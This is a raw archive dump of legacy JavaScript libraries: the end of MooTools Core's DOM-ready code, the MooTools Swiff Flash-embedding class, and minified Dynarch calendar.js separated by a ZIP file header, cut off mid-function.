	}
};

// Make sure that domready fires before load
Element.Events.load = {
	base: 'load',
	onAdd: function(fn){
		if (loaded && this == window) fn.call(this);
	},
	condition: function(){
		if (this == window){
			domready();
			delete Element.Events.load;
		}
		return true;
	}
};

// This is based on the custom load event
window.addEvent('load', function(){
	loaded = true;
});

})(window, document);


/*
---

name: Swiff

description: Wrapper for embedding SWF movies. Supports External Interface Communication.

license: MIT-style license.

credits:
  - Flash detection & Internet Explorer + Flash Player 9 fix inspired by SWFObject.

requires: [Options, Object, Element]

provides: Swiff

...
*/

(function(){

var Swiff = this.Swiff = new Class({

	Implements: Options,

	options: {
		id: null,
		height: 1,
		width: 1,
		container: null,
		properties: {},
		params: {
			quality: 'high',
			allowScriptAccess: 'always',
			wMode: 'window',
			swLiveConnect: true
		},
		callBacks: {},
		vars: {}
	},

	toElement: function(){
		return this.object;
	},

	initialize: function(path, options){
		this.instance = 'Swiff_' + String.uniqueID();

		this.setOptions(options);
		options = this.options;
		var id = this.id = options.id || this.instance;
		var container = document.id(options.container);

		Swiff.CallBacks[this.instance] = {};

		var params = options.params, vars = options.vars, callBacks = options.callBacks;
		var properties = Object.append({height: options.height, width: options.width}, options.properties);

		var self = this;

		for (var callBack in callBacks){
			Swiff.CallBacks[this.instance][callBack] = (function(option){
				return function(){
					return option.apply(self.object, arguments);
				};
			})(callBacks[callBack]);
			vars[callBack] = 'Swiff.CallBacks.' + this.instance + '.' + callBack;
		}

		params.flashVars = Object.toQueryString(vars);
		if (Browser.ie){
			properties.classid = 'clsid:D27CDB6E-AE6D-11cf-96B8-444553540000';
			params.movie = path;
		} else {
			properties.type = 'application/x-shockwave-flash';
		}
		properties.data = path;

		var build = '<object id="' + id + '"';
		for (var property in properties) build += ' ' + property + '="' + properties[property] + '"';
		build += '>';
		for (var param in params){
			if (params[param]) build += '<param name="' + param + '" value="' + params[param] + '" />';
		}
		build += '</object>';
		this.object = ((container) ? container.empty() : new Element('div')).set('html', build).firstChild;
	},

	replaces: function(element){
		element = document.id(element, true);
		element.parentNode.replaceChild(this.toElement(), element);
		return this;
	},

	inject: function(element){
		document.id(element, true).appendChild(this.toElement());
		return this;
	},

	remote: function(){
		return Swiff.remote.apply(Swiff, [this.toElement()].append(arguments));
	}

});

Swiff.CallBacks = {};

Swiff.remote = function(obj, fn){
	var rs = obj.CallFunction('<invoke name="' + fn + '" returntype="javascript">' + __flash__argumentsToXML(arguments, 2) + '</invoke>');
	return eval(rs);
};

})();

PK!Q �vvjs/calendar.jsnu�[���Calendar=function(d,c,f,a){this.activeDiv=null;this.currentDateEl=null;this.getDateStatus=null;this.getDateToolTip=null;this.getDateText=null;this.timeout=null;this.onSelected=f||null;this.onClose=a||null;this.dragging=false;this.hidden=false;this.minYear=1970;this.maxYear=2050;this.dateFormat=Calendar._TT.DEF_DATE_FORMAT;this.ttDateFormat=Calendar._TT.TT_DATE_FORMAT;this.isPopup=true;this.weekNumbers=true;this.firstDayOfWeek=typeof d=="number"?d:Calendar._FD;this.showsOtherMonths=false;this.dateStr=c;this.ar_days=null;this.showsTime=false;this.time24=true;this.yearStep=2;this.hiliteToday=true;this.multiple=null;this.table=null;this.element=null;this.tbody=null;this.firstdayname=null;this.monthsCombo=null;this.yearsCombo=null;this.hilitedMonth=null;this.activeMonth=null;this.hilitedYear=null;this.activeYear=null;this.dateClicked=false;if(typeof Calendar._SDN=="undefined"){if(typeof Calendar._SDN_len=="undefined"){Calendar._SDN_len=3}var b=new Array();for(var e=8;e>0;){b[--e]=Calendar._DN[e].substr(0,Calendar._SDN_len)}Calendar._SDN=b;if(typeof Calendar._SMN_len=="undefined"){Calendar._SMN_len=3}b=new Array();for(var e=12;e>0;){b[--e]=Calendar._MN[e].substr(0,Calendar._SMN_len)}Calendar._SMN=b}};Calendar._C=null;Calendar.is_ie=(/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent));Calendar.is_ie5=(Calendar.is_ie&&/msie 5\.0/i.test(navigator.userAgent));Calendar.is_opera=/opera/i.test(navigator.userAgent);Calendar.is_khtml=/Konqueror|Safari|KHTML/i.test(navigator.userAgent);Calendar.getAbsolutePos=function(e){var a=0,d=0;var c=/^div$/i.test(e.tagName);if(c&&e.scrollLeft){a=e.scrollLeft}if(c&&e.scrollTop){d=e.scrollTop}var f={x:e.offsetLeft-a,y:e.offsetTop-d};if(e.offsetParent){var b=this.getAbsolutePos(e.offsetParent);f.x+=b.x;f.y+=b.y}return f};Calendar.isRelated=function(c,a){var d=a.relatedTarget;if(!d){var b=a.type;if(b=="mouseover"){d=a.fromElement}else{if(b=="mouseout"){d=a.toElement}}}while(d){if(d==c){return true}d=d.parentNode}return false};Calendar.removeClass=function(e,d){if(!(e&&e.className)){return}var a=e.className.split(" ");var b=new Array();for(var c=a.length;c>0;){if(a[--c]!=d){b[b.length]=a[c]}}e.className=b.join(" ")};Calendar.addClass=function(b,a){Calendar.removeClass(b,a);b.className+=" "+a};Calendar.getElement=function(a){var b=Calendar.is_ie?window.event.srcElement:a.currentTarget;while(b.nodeType!=1||/^div$/i.test(b.tagName)){b=b.parentNode}return b};Calendar.getTargetElement=function(a){var b=Calendar.is_ie?window.event.srcElement:a.target;while(b.nodeType!=1){b=b.parentNode}return b};Calendar.stopEvent=function(a){a||(a=window.event);if(Calendar.is_ie){a.cancelBubble=true;a.returnValue=false}else{a.preventDefault();a.stopPropagation()}return false};Calendar.addEvent=function(a,c,b){if(a.attachEvent){a.attachEvent("on"+c,b)}else{if(a.addEventListener){a.addEventListener(c,b,true)}else{a["on"+c]=b}}};Calendar.removeEvent=function(a,c,b){if(a.detachEvent){a.detachEvent("on"+c,b)}else{if(a.removeEventListener){a.removeEventListener(c,b,true)}else{a["on"+c]=null}}};Calendar.createElement=function(c,b){var a=null;if(document.createElementNS){a=document.createElementNS("http://www.w3.org/1999/xhtml",c)}else{a=document.createElement(c)}if(typeof b!="undefined"){b.appendChild(a)}return a};Calendar._add_evs=function(el){with(Calendar){addEvent(el,"mouseover",dayMouseOver);addEvent(el,"mousedown",dayMouseDown);addEvent(el,"mouseout",dayMouseOut);if(is_ie){addEvent(el,"dblclick",dayMouseDblClick);el.setAttribute("unselectable",true)}}};Calendar.findMonth=function(a){if(typeof a.month!="undefined"){return a}else{if(typeof a.parentNode.month!="undefined"){return a.parentNode}}return null};Calendar.findYear=function(a){if(typeof a.year!="undefined"){return a}else{if(typeof a.parentNode.year!="undefined"){return a.parentNode}}return null};Calendar.showMonthsCombo=function(){var e=Calendar._C;if(!e){return false}var e=e;var f=e.activeDiv;var d=e.monthsCombo;if(e.hilitedMonth){Calendar.removeClass(e.hilitedMonth,"hilite")}if(e.activeMonth){Calendar.removeClass(e.activeMonth,"active")}var c=e.monthsCombo.getElementsByTagName("div")[e.date.getMonth()];Calendar.addClass(c,"active");e.activeMonth=c;var b=d.style;b.display="block";if(f.navtype<0){b.left=f.offsetLeft+"px"}else{var a=d.offsetWidth;if(typeof a=="undefined"){a=50}b.left=(f.offsetLeft+f.offsetWidth-a)+"px"}b.top=(f.offsetTop+f.offsetHeight)+"px"};Calendar.showYearsCombo=function(d){var a=Calendar._C;if(!a){return false}var a=a;var c=a.activeDiv;var f=a.yearsCombo;if(a.hilitedYear){Calendar.removeClass(a.hilitedYear,"hilite")}if(a.activeYear){Calendar.removeClass(a.activeYear,"active")}a.activeYear=null;var b=a.date.getFullYear()+(d?1:-1);var j=f.firstChild;var h=false;for(var e=12;e>0;--e){if(b>=a.minYear&&b<=a.maxYear){j.innerHTML=b;j.year=b;j.style.display="block";h=true}else{j.style.display="none"}j=j.nextSibling;b+=d?a.yearStep:-a.yearStep}if(h){var k=f.style;k.display="block";if(c.navtype<0){k.left=c.offsetLeft+"px"}else{var g=f.offsetWidth;if(typeof g=="undefined"){g=50}k.left=(c.offsetLeft+c.offsetWidth-g)+"px"}k.top=(c.offsetTop+c.offsetHeight)+"px"}};Calendar.tableMouseUp=function(ev){var cal=Calendar._C;if(!cal){return false}if(cal.timeout){clearTimeout(cal.timeout)}var el=cal.activeDiv;if(!el){return false}var target=Calendar.getTargetElement(ev);ev||(ev=window.event);Calendar.removeClass(el,"active");if(target==el||target.parentNode==el){Calendar.cellClick(el,ev)}var mon=Calendar.findMonth(target);var date=null;if(mon){date=new Date(cal.date);if(mon.month!=date.getMonth()){date.setMonth(mon.month);cal.setDate(date);cal.dateClicked=false;cal.callHandler()}}else{var year=Calendar.findYear(target);if(year){date=new Date(cal.date);if(year.year!=date.getFullYear()){date.setFullYear(year.year);cal.setDate(date);cal.dateClicked=false;cal.callHandler()}}}with(Calendar){removeEvent(document,"mouseup",tableMouseUp);removeEvent(document,"mouseover",tableMouseOver);removeEvent(document,"mousemove",tableMouseOver);cal._hideCombos();_C=null;return stopEvent(ev)}};Calendar.tableMouseOver=function(n){var a=Calendar._C;if(!a){return}var c=a.activeDiv;var j=Calendar.getTargetElement(n);if(j==c||j.parentNode==c){Calendar.addClass(c,"hilite active");Calendar.addClass(c.parentNode,"rowhilite")}else{if(typeof c.navtype=="undefined"||(c.navtype!=50&&(c.navtype==0||Math.abs(c.navtype)>2))){Calendar.removeClass(c,"active")}Calendar.removeClass(c,"hilite");Calendar.removeClass(c.parentNode,"rowhilite")}n||(n=window.event);if(c.navtype==50&&j!=c){var m=Calendar.getAbsolutePos(c);var p=c.offsetWidth;var o=n.clientX;var q;var l=true;if(o>m.x+p){q=o-m.x-p;l=false}else{q=m.x-o}if(q<0){q=0}var f=c._range;var h=c._current;var g=Math.floor(q/10)%f.length;for(var e=f.length;--e>=0;){if(f[e]==h){break}}while(g-->0){if(l){if(--e<0){e=f.length-1}}else{if(++e>=f.length){e=0}}}var b=f[e];c.innerHTML=b;a.onUpdateTime()}var d=Calendar.findMonth(j);if(d){if(d.month!=a.date.getMonth()){if(a.hilitedMonth){Calendar.removeClass(a.hilitedMonth,"hilite")}Calendar.addClass(d,"hilite");a.hilitedMonth=d}else{if(a.hilitedMonth){Calendar.removeClass(a.hilitedMonth,"hilite")}}}else{if(a.hilitedMonth){Calendar.removeClass(a.hilitedMonth,"hilite")}var k=Calendar.findYear(j);if(k){if(k.year!=a.date.getFullYear()){if(a.hilitedYear){Calendar.removeClass(a.hilitedYear,"hilite")}Calendar.addClass(k,"hilite");a.hilitedYear=k}else{if(a.hilitedYear){Calendar.removeClass(a.hilitedYear,"hilite")}}}else{if(a.hilitedYear){Calendar.removeClass(a.hilitedYear,"hilite")}}}return Calendar.stopEvent(n)};Calendar.tableMouseDown=function(a){if(Calendar.getTargetElement(a)==Calendar.getElement(a)){return Calendar.stopEvent(a)}};Calendar.calDragIt=function(b){var c=Calendar._C;if(!(c&&c.dragging)){return false}var e;var d;if(Calendar.is_ie){d=window.event.clientY+document.body.scrollTop;e=window.event.clientX+document.body.scrollLeft}else{e=b.pageX;d=b.pageY}c.hideShowCovered();var a=c.element.style;a.left=(e-c.xOffs)+"px";a.top=(d-c.yOffs)+"px";return Calendar.stopEvent(b)};Calendar.calDragEnd=function(ev){var cal=Calendar._C;if(!cal){return false}cal.dragging=false;with(Calendar){removeEvent(document,"mousemove",calDragIt);removeEvent(document,"mouseup",calDragEnd);tableMouseUp(ev)}cal.hideShowCovered()};Calendar.dayMouseDown=function(ev){var el=Calendar.getElement(ev);if(el.disabled){return false}var cal=el.calendar;cal.activeDiv=el;Calendar._C=cal;if(el.navtype!=300){with(Calendar){if(el.navtype==50){el._current=el.innerHTML;addEvent(document,"mousemove",tableMouseOver)}else{addEvent(document,Calendar.is_ie5?"mousemove":"mouseover",tableMouseOver)}addClass(el,"hilite active");addEvent(document,"mouseup",tableMouseUp)}}else{if(cal.isPopup){cal._dragStart(ev)}}if(el.navtype==-1||el.navtype==1){if(cal.timeout){clearTimeout(cal.timeout)}cal.timeout=setTimeout("Calendar.showMonthsCombo()",250)}else{if(el.navtype==-2||el.navtype==2){if(cal.timeout){clearTimeout(cal.timeout)}cal.timeout=setTimeout((el.navtype>0)?"Calendar.showYearsCombo(true)":"Calendar.showYearsCombo(false)",250)}else{cal.timeout=null}}return Calendar.stopEvent(ev)};Calendar.dayMouseDblClick=function(a){Calendar.cellClick(Calendar.getElement(a),a||window.event);if(Calendar.is_ie){document.selection.empty()}};Calendar.dayMouseOver=function(b){var a=Calendar.getElement(b);if(Calendar.isRelated(a,b)||Calendar._C||a.disabled){return false}if(a.ttip){if(a.ttip.substr(0,1)=="_"){a.ttip=a.caldate.print(a.calendar.ttDateFormat)+a.ttip.substr(1)}a.calendar.tooltips.innerHTML=a.ttip}if(a.navtype!=300){Calendar.addClass(a,"hilite");if(a.caldate){Calendar.addClass(a.parentNode,"rowhilite");var c=a.calendar;if(c&&c.getDateToolTip){var e=a.caldate;window.status=e;a.title=c.getDateToolTip(e,e.getFullYear(),e.getMonth(),e.getDate())}}}return Calendar.stopEvent(b)};Calendar.dayMouseOut=function(ev){with(Calendar){var el=getElement(ev);if(isRelated(el,ev)||_C||el.disabled){return false}removeClass(el,"hilite");if(el.caldate){removeClass(el.parentNode,"rowhilite")}if(el.calendar){el.calendar.tooltips.innerHTML=_TT.SEL_DATE}}};Calendar.cellClick=function(e,o){var c=e.calendar;var h=false;var l=false;var f=null;if(typeof e.navtype=="undefined"){if(c.currentDateEl){Calendar.removeClass(c.currentDateEl,"selected");Calendar.addClass(e,"selected");h=(c.currentDateEl==e);if(!h){c.currentDateEl=e}}c.date.setDateOnly(e.caldate);f=c.date;var b=!(c.dateClicked=!e.otherMonth);if(!b&&!c.currentDateEl&&c.multiple){c._toggleMultipleDate(new Date(f))}else{l=!e.disabled}if(b){c._init(c.firstDayOfWeek,f)}}else{if(e.navtype==200){Calendar.removeClass(e,"hilite");c.callCloseHandler();return}f=new Date(c.date);if(e.navtype==0){f.setDateOnly(new Date())}c.dateClicked=false;var n=f.getFullYear();var g=f.getMonth();function a(q){var r=f.getDate();var i=f.getMonthDays(q);if(r>i){f.setDate(i)}f.setMonth(q)}switch(e.navtype){case 400:Calendar.removeClass(e,"hilite");var p=Calendar._TT.ABOUT;if(typeof p!="undefined"){p+=c.showsTime?Calendar._TT.ABOUT_TIME:""}else{p='Help and about box text is not translated into this language.\nIf you know this language and you feel generous please update\nthe corresponding file in "lang" subdir to match calendar-en.js\nand send it back to <mihai_bazon@yahoo.com> to get it into the distribution  ;-)\n\nThank you!\nhttp://dynarch.com/mishoo/calendar.epl\n'}alert(p);return;case -2:if(n>c.minYear){f.setFullYear(n-1)}break;case -1:if(g>0){a(g-1)}else{if(n-->c.minYear){f.setFullYear(n);a(11)}}break;case 1:if(g<11){a(g+1)}else{if(n<c.maxYear){f.setFullYear(n+1);a(0)}}break;case 2:if(n<c.maxYear){f.setFullYear(n+1)}break;case 100:c.setFirstDayOfWeek(e.fdow);return;case 50:var k=e._range;var m=e.innerHTML;for(var j=k.length;--j>=0;){if(k[j]==m){break}}if(o&&o.shiftKey){if(--j<0){j=k.length-1}}else{if(++j>=k.length){j=0}}var d=k[j];e.innerHTML=d;c.onUpdateTime();return;case 0:if((typeof c.getDateStatus=="function")&&c.getDateStatus(f,f.getFullYear(),f.getMonth(),f.getDate())){return false}break}if(!f.equalsTo(c.date)){c.setDate(f);l=true}else{if(e.navtype==0){l=h=true}}}if(l){o&&c.callHandler()}if(h){Calendar.removeClass(e,"hilite");o&&c.callCloseHandler()}};Calendar.prototype.create=function(n){var m=null;if(!n){m=document.getElementsByTagName("body")[0];this.isPopup=true}else{m=n;this.isPopup=false}this.date=this.dateStr?new Date(this.dateStr):new Date();var q=Calendar.createElement("table");this.table=q;q.cellSpacing=0;q.cellPadding=0;q.calendar=this;Calendar.addEvent(q,"mousedown",Calendar.tableMouseDown);var a=Calendar.createElement("div");this.element=a;a.className="calendar";if(this.isPopup){a.style.position="absolute";a.style.display="none"}a.appendChild(q);var k=Calendar.createElement("thead",q);var o=null;var r=null;var b=this;var e=function(s,j,i){o=Calendar.createElement("td",r);o.colSpan=j;o.className="button";if(i!=0&&Math.abs(i)<=2){o.className+=" nav"}Calendar._add_evs(o);o.calendar=b;o.navtype=i;o.innerHTML="<div unselectable='on'>"+s+"</div>";return o};r=Calendar.createElement("tr",k);var c=6;(this.isPopup)&&--c;(this.weekNumbers)&&++c;e("?",1,400).ttip=Calendar._TT.INFO;this.title=e("",c,300);this.title.className="title";if(this.isPopup){this.title.ttip=Calendar._TT.DRAG_TO_MOVE;this.title.style.cursor="move";e("&#x00d7;",1,200).ttip=Calendar._TT.CLOSE}r=Calendar.createElement("tr",k);r.className="headrow";this._nav_py=e("&#x00ab;",1,-2);this._nav_py.ttip=Calendar._TT.PREV_YEAR;this._nav_pm=e("&#x2039;",1,-1);this._nav_pm.ttip=Calendar._TT.PREV_MONTH;this._nav_now=e(Calendar._TT.TODAY,this.weekNumbers?4:3,0);this._nav_now.ttip=Calendar._TT.GO_TODAY;this._nav_nm=e("&#x203a;",1,1);this._nav_nm.ttip=Calendar._TT.NEXT_MONTH;this._nav_ny=e("&#x00bb;",1,2);this._nav_ny.ttip=Calendar._TT.NEXT_YEAR;r=Calendar.createElement("tr",k);r.className="daynames";if(this.weekNumbers){o=Calendar.createElement("td",r);o.className="name wn";o.innerHTML=Calendar._TT.WK}for(var h=7;h>0;--h){o=Calendar.createElement("td",r);if(!h){o.navtype=100;o.calendar=this;Calendar._add_evs(o)}}this.firstdayname=(this.weekNumbers)?r.firstChild.nextSibling:r.firstChild;this._displayWeekdays();var g=Calendar.createElement("tbody",q);this.tbody=g;for(h=6;h>0;--h){r=Calendar.createElement("tr",g);if(this.weekNumbers){o=Calendar.createElement("td",r)}for(var f=7;f>0;--f){o=Calendar.createElement("td",r);o.calendar=this;Calendar._add_evs(o)}}if(this.showsTime){r=Calendar.createElement("tr",g);r.className="time";o=Calendar.createElement("td",r);o.className="time";o.colSpan=2;o.innerHTML=Calendar._TT.TIME||"&#160;";o=Calendar.createElement("td",r);o.className="time";o.colSpan=this.weekNumbers?4:3;(function(){function t(C,E,D,F){var A=Calendar.createElement("span",o);A.className=C;A.innerHTML=E;A.calendar=b;A.ttip=Calendar._TT.TIME_PART;A.navtype=50;A._range=[];if(typeof D!="number"){A._range=D}else{for(var B=D;B<=F;++B){var z;if(B<10&&F>=10){z="0"+B}else{z=""+B}A._range[A._range.length]=z}}Calendar._add_evs(A);return A}var x=b.date.getHours();var i=b.date.getMinutes();var y=!b.time24;var j=(x>12);if(y&&j){x-=12}var v=t("hour",x,y?1:0,y?12:23);var u=Calendar.createElement("span",o);u.innerHTML=":";u.className="colon";var s=t("minute",i,0,59);var w=null;o=Calendar.createElement("td",r);o.className="time";o.colSpan=2;if(y){w=t("ampm",j?"pm":"am",["am","pm"])}else{o.innerHTML="&#160;"}b.onSetTime=function(){var A,z=this.date.getHours(),B=this.date.getMinutes();if(y){A=(z>=12);if(A){z-=12}if(z==0){z=12}w.innerHTML=A?"pm":"am"}v.innerHTML=(z<10)?("0"+z):z;s.innerHTML=(B<10)?("0"+B):B};b.onUpdateTime=function(){var A=this.date;var B=parseInt(v.innerHTML,10);if(y){if(/pm/i.test(w.innerHTML)&&B<12){B+=12}else{if(/am/i.test(w.innerHTML)&&B==12){B=0}}}var C=A.getDate();var z=A.getMonth();var D=A.getFullYear();A.setHours(B);A.setMinutes(parseInt(s.innerHTML,10));A.setFullYear(D);A.setMonth(z);A.setDate(C);this.dateClicked=false;this.callHandler()}})()}else{this.onSetTime=this.onUpdateTime=function(){}}var l=Calendar.createElement("tfoot",q);r=Calendar.createElement("tr",l);r.className="footrow";o=e(Calendar._TT.SEL_DATE,this.weekNumbers?8:7,300);o.className="ttip";if(this.isPopup){o.ttip=Calendar._TT.DRAG_TO_MOVE;o.style.cursor="move"}this.tooltips=o;a=Calendar.createElement("div",this.element);this.monthsCombo=a;a.className="combo";for(h=0;h<Calendar._MN.length;++h){var d=Calendar.createElement("div");d.className=Calendar.is_ie?"label-IEfix":"label";d.month=h;d.innerHTML=Calendar._SMN[h];a.appendChild(d)}a=Calendar.createElement("div",this.element);this.yearsCombo=a;a.className="combo";for(h=12;h>0;--h){var p=Calendar.createElement("div");p.className=Calendar.is_ie?"label-IEfix":"label";a.appendChild(p)}this._init(this.firstDayOfWeek,this.date);m.appendChild(this.element)};Calendar._keyEvent=function(k){var a=window._dynarch_popupCalendar;if(!a||a.multiple){return false}(Calendar.is_ie)&&(k=window.event);var i=(Calendar.is_ie||k.type=="keypress"),l=k.keyCode;if(k.ctrlKey){switch(l){case 37:i&&Calendar.cellClick(a._nav_pm);break;case 38:i&&Calendar.cellClick(a._nav_py);break;case 39:i&&Calendar.cellClick(a._nav_nm);break;case 40:i&&Calendar.cellClick(a._nav_ny);break;default:return false}}else{switch(l){case 32:Calendar.cellClick(a._nav_now);break;case 27:i&&a.callCloseHandler();break;case 37:case 38:case 39:case 40:if(i){var e,m,j,g,c,d;e=l==37||l==38;d=(l==37||l==39)?1:7;function b(){c=a.currentDateEl;var n=c.pos;m=n&15;j=n>>4;g=a.ar_days[j][m]}b();function f(){var n=new Date(a.date);n.setDate(n.getDate()-d);a.setDate(n)}function h(){var n=new Date(a.date);n.setDate(n.getDate()+d);a.setDate(n)}while(1){switch(l){case 37:if(--m>=0){g=a.ar_days[j][m]}else{m=6;l=38;continue}break;case 38:if(--j>=0){g=a.ar_days[j][m]}else{f();b()}break;case 39:if(++m<7){g=a.ar_days[j][m]}else{m=0;l=40;continue}break;case 40:if(++j<a.ar_days.length){g=a.ar_days[j][m]}else{h();b()}break}break}if(g){if(!g.disabled){Calendar.cellClick(g)}else{if(e){f()}else{h()}}}}break;case 13:if(i){Calendar.cellClick(a.currentDateEl,k)}break;default:return false}}return Calendar.stopEvent(k)};Calendar.prototype._init=function(m,w){var v=new Date(),q=v.getFullYear(),y=v.getMonth(),b=v.getDate();this.table.style.visibility="hidden";var h=w.getFullYear();if(h<this.minYear){h=this.minYear;w.setFullYear(h)}else{if(h>this.maxYear){h=this.maxYear;w.setFullYear(h)}}this.firstDayOfWeek=m;this.date=new Date(w);var x=w.getMonth();var A=w.getDate();var z=w.getMonthDays();w.setDate(1);var r=(w.getDay()-this.firstDayOfWeek)%7;if(r<0){r+=7}w.setDate(-r);w.setDate(w.getDate()+1);var e=this.tbody.firstChild;var k=Calendar._SMN[x];var o=this.ar_days=new Array();var n=Calendar._TT.WEEKEND;var d=this.multiple?(this.datesCells={}):null;for(var t=0;t<6;++t,e=e.nextSibling){var a=e.firstChild;if(this.weekNumbers){a.className="day wn";a.innerHTML=w.getWeekNumber();a=a.nextSibling}e.className="daysrow";var u=false,f,c=o[t]=[];for(var s=0;s<7;++s,a=a.nextSibling,w.setDate(f+1)){f=w.getDate();var g=w.getDay();a.className="day";a.pos=t<<4|s;c[s]=a;var l=(w.getMonth()==x);if(!l){if(this.showsOtherMonths){a.className+=" othermonth";a.otherMonth=true}else{a.className="emptycell";a.innerHTML="&#160;";a.disabled=true;continue}}else{a.otherMonth=false;u=true}a.disabled=false;a.innerHTML=this.getDateText?this.getDateText(w,f):f;if(d){d[w.print("%Y%m%d")]=a}if(this.getDateStatus){var p=this.getDateStatus(w,h,x,f);if(p===true){a.className+=" disabled";a.disabled=true}else{if(/disabled/i.test(p)){a.disabled=true}a.className+=" "+p}}if(!a.disabled){a.caldate=new Date(w);a.ttip="_";if(!this.multiple&&l&&f==A&&this.hiliteToday){a.className+=" selected";this.currentDateEl=a}if(w.getFullYear()==q&&w.getMonth()==y&&f==b){a.className+=" today";a.ttip+=Calendar._TT.PART_TODAY}if(n.indexOf(g.toString())!=-1){a.className+=a.otherMonth?" oweekend":" weekend"}}}if(!(u||this.showsOtherMonths)){e.className="emptyrow"}}this.title.innerHTML=Calendar._MN[x]+", "+h;this.onSetTime();this.table.style.visibility="visible";this._initMultipleDates()};Calendar.prototype._initMultipleDates=function(){if(this.multiple){for(var b in this.multiple){var a=this.datesCells[b];var c=this.multiple[b];if(!c){continue}if(a){a.className+=" selected"}}}};Calendar.prototype._toggleMultipleDate=function(b){if(this.multiple){var c=b.print("%Y%m%d");var a=this.datesCells[c];if(a){var e=this.multiple[c];if(!e){Calendar.addClass(a,"selected");this.multiple[c]=b}else{Calendar.removeClass(a,"selected");delete this.multiple[c]}}}};Calendar.prototype.setDateToolTipHandler=function(a){this.getDateToolTip=a};Calendar.prototype.setDate=function(a){if(!a.equalsTo(this.date)){this._init(this.firstDayOfWeek,a)}};Calendar.prototype.refresh=function(){this._init(this.firstDayOfWeek,this.date)};Calendar.prototype.setFirstDayOfWeek=function(a){this._init(a,this.date);this._displayWeekdays()};Calendar.prototype.setDateStatusHandler=Calendar.prototype.setDisabledHandler=function(a){this.getDateStatus=a};Calendar.prototype.setRange=function(b,c){this.minYear=b;this.maxYear=c};Calendar.prototype.callHandler=function(){if(this.onSelected){this.onSelected(this,this.date.print(this.dateFormat))}};Calendar.prototype.callCloseHandler=function(){if(this.onClose){this.onClose(this)}this.hideShowCovered()};Calendar.prototype.destroy=function(){var a=this.element.parentNode;a.removeChild(this.element);Calendar._C=null;window._dynarch_popupCalendar=null};Calendar.prototype.reparent=function(b){var a=this.element;a.parentNode.removeChild(a);b.appendChild(a)};Calendar._checkCalendar=function(b){var c=window._dynarch_popupCalendar;if(!c){return false}var a=Calendar.is_ie?Calendar.getElement(b):Calendar.getTargetElement(b);for(;a!=null&&a!=c.element;a=a.parentNode){}if(a==null){window._dynarch_popupCalendar.callCloseHandler();return Calendar.stopEvent(b)}};Calendar.prototype.show=function(){var e=this.table.getElementsByTagName("tr");for(var d=e.length;d>0;){var f=e[--d];Calendar.removeClass(f,"rowhilite");var c=f.getElementsByTagName("td");for(var b=c.length;b>0;){var a=c[--b];Calendar.removeClass(a,"hilite");Calendar.removeClass(a,"active")}}this.element.style.display="block";this.hidden=false;if(this.isPopup){window._dynarch_popupCalendar=this;Calendar.addEvent(document,"keydown",Calendar._keyEvent);Calendar.addEvent(document,"keypress",Calendar._keyEvent);Calendar.addEvent(document,"mousedown",Calendar._checkCalendar)}this.hideShowCovered()};Calendar.prototype.hide=function(){if(this.isPopup){Calendar.removeEvent(document,"keydown",Calendar._keyEvent);Calendar.removeEvent(document,"keypress",Calendar._keyEvent);Calendar.removeEvent(document,"mousedown",Calendar._checkCalendar)}this.element.style.display="none";this.hidden=true;this.hideShowCovered()};Calendar.prototype.showAt=function(a,c){var b=this.element.style;b.left=a+"px";b.top=c+"px";this.show()};Calendar.prototype.showAtElement=function(c,d){var a=this;var e=Calendar.getAbsolutePos(c);if(!d||typeof d!="string"){this.showAt(e.x,e.y+c.offsetHeight);return true}function b(i){if(i.x<0){i.x=0}if(i.y<0){i.y=0}var j=document.createElement("div");var h=j.style;h.position="absolute";h.right=h.bottom=h.width=h.height="0px";document.body.appendChild(j);var g=Calendar.getAbsolutePos(j);document.body.removeChild(j);if(Calendar.is_ie){g.y+=(document.documentElement&&document.documentElement.scrollTop)||document.body.scrollTop;g.x+=(document.documentElement&&document.documentElement.scrollLeft)||document.body.scrollLeft}else{g.y+=window.scrollY;g.x+=window.scrollX}var f=i.x+i.width-g.x;if(f>0){i.x-=f}f=i.y+i.height-g.y;if(f>0){i.y-=f}}this.element.style.display="block";Calendar.continuation_for_the_khtml_browser=function(){var f=a.element.offsetWidth;var i=a.element.offsetHeight;a.element.style.display="none";var g=d.substr(0,1);var j="l";if(d.length>1){j=d.substr(1,1)}switch(g){case"T":e.y-=i;break;case"B":e.y+=c.offsetHeight;break;case"C":e.y+=(c.offsetHeight-i)/2;break;case"t":e.y+=c.offsetHeight-i;break;case"b":break}switch(j){case"L":e.x-=f;break;case"R":e.x+=c.offsetWidth;break;case"C":e.x+=(c.offsetWidth-f)/2;break;case"l":e.x+=c.offsetWidth-f;break;case"r":break}e.width=f;e.height=i+40;a.monthsCombo.style.display="none";b(e);a.showAt(e.x,e.y)};if(Calendar.is_khtml){setTimeout("Calendar.continuation_for_the_khtml_browser()",10)}else{Calendar.continuation_for_the_khtml_browser()}};Calendar.prototype.setDateFormat=function(a){this.dateFormat=a};Calendar.prototype.setTtDateFormat=function(a){this.ttDateFormat=a};Calendar.prototype.parseDate=function(b,a){if(!a){a=this.dateFormat}this.setDate(Date.parseDate(b,a))};Calendar.prototype.hideShowCovered=function(){if(!Calendar.is_ie&&!Calendar.is_opera){return}function b(k){var i=k.style.visibility;if(!i){if(document.defaultView&&typeof(document.defaultView.getComputedStyle)=="function"){if(!Calendar.is_khtml){i=document.defaultView.getComputedStyle(k,"").getPropertyValue("visibility")}else{i=""}}else{if(k.currentStyle){i=k.currentStyle.visibility}else{i=""}}}return i}var s=new Array("applet","iframe","select");var c=this.element;var a=Calendar.getAbsolutePos(c);var f=a.x;var d=c.offsetWidth+f;var r=a.y;var q=c.offsetHeight+r;for(var h=s.length;h>0;){var g=document.getElementsByTagName(s[--h]);var e=null;for(var l=g.length;l>0;){e=g[--l];a=Calendar.getAbsolutePos(e);var o=a.x;var n=e.offsetWidth+o;var m=a.y;var j=e.offsetHeight+m;if(this.hidden||(o>d)||(n<f)||(m>q)||(j<r)){if(!e.__msh_save_visibility){e.__msh_save_visibility=b(e)}e.style.visibility=e.__msh_save_visibility}else{if(!e.__msh_save_visibility){e.__msh_save_visibility=b(e)}e.style.visibility="hidden"}}}};Calendar.prototype._displayWeekdays=function(){var b=this.firstDayOfWeek;var a=this.firstdayname;var d=Calendar._TT.WEEKEND;for(var c=0;c<7;++c){a.className="day name";var 